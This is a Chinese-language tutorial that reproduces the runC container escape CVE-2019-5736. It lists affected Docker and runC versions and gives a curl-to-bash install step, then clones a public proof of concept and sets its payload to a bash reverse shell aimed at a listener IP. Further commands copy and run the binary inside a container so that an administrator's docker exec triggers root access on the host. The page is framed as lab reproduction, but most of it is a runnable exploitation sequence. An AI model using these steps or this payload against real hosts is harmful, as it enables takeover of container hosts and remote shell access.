Docker逃逸--runC容器逃逸漏洞(CVE-2019-5736)

 漏洞简述:

攻击者可以通过特定的容器镜像或者exec操作可以获取到宿主机的runC执行时的文件句柄并修改掉runc的二进制文件,从而获取到宿主机的root执行权限。

 利用条件:

Docker版本 < 18.09.2,runC版本< 1.0-rc6。(在Docker 18.09.2之前的版本中使用了的runc版本小于1.0-rc6。)

可通过 docker 和docker-runc 查看当前版本情况。

Docker逃逸--runC容器逃逸漏洞(CVE-2019-5736)

 

漏洞测试复现:

 1、漏洞环境准备:

curl https://gist.githubusercontent.com/thinkycx/e2c9090f035d7b09156077903d6afa51/raw -o install.sh && bash install.sh

 或者直接下载脚本安装

1

chmod 777 install.sh && ./install.sh

install.sh 内容如下:

Docker逃逸--runC容器逃逸漏洞(CVE-2019-5736) View Code

 2、下载POC,编译脚本

# 下载POC
git clone https://github.com/Frichetten/CVE-2019-5736-PoC

# 修改Payload
vi main.go
payload = "#!/bin/bash \n bash -i >& /dev/tcp/192.168.172.136/1234 0>&1"(设置为个人监听IP)

# 编译生成payload
CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go

 3、模仿攻击者,在容器中执行payload

# 拷贝到docker容器
sudo docker cp ./main 248f8b7d3c45:/tmp

# 进入容器
sudo docker exec -it 248f8b7d3c45 /bin/bash

# 修改权限
chmod 777 main

# 执行Payload
./main

Docker逃逸--runC容器逃逸漏洞(CVE-2019-5736)

 4、假设,管理员通过exec进入容器,从而触发Payload。

sudo docker exec -it  cafa20cfb0f9 /bin/sh

 5、在192.168.172.136上监听本地端口,成功获取宿主机反弹回来的shell。

Docker逃逸--runC容器逃逸漏洞(CVE-2019-5736)

上一篇:使用runc创建亚博体育一个docker容器案例


下一篇:(二)MongoDB的在SpringBoot中的应用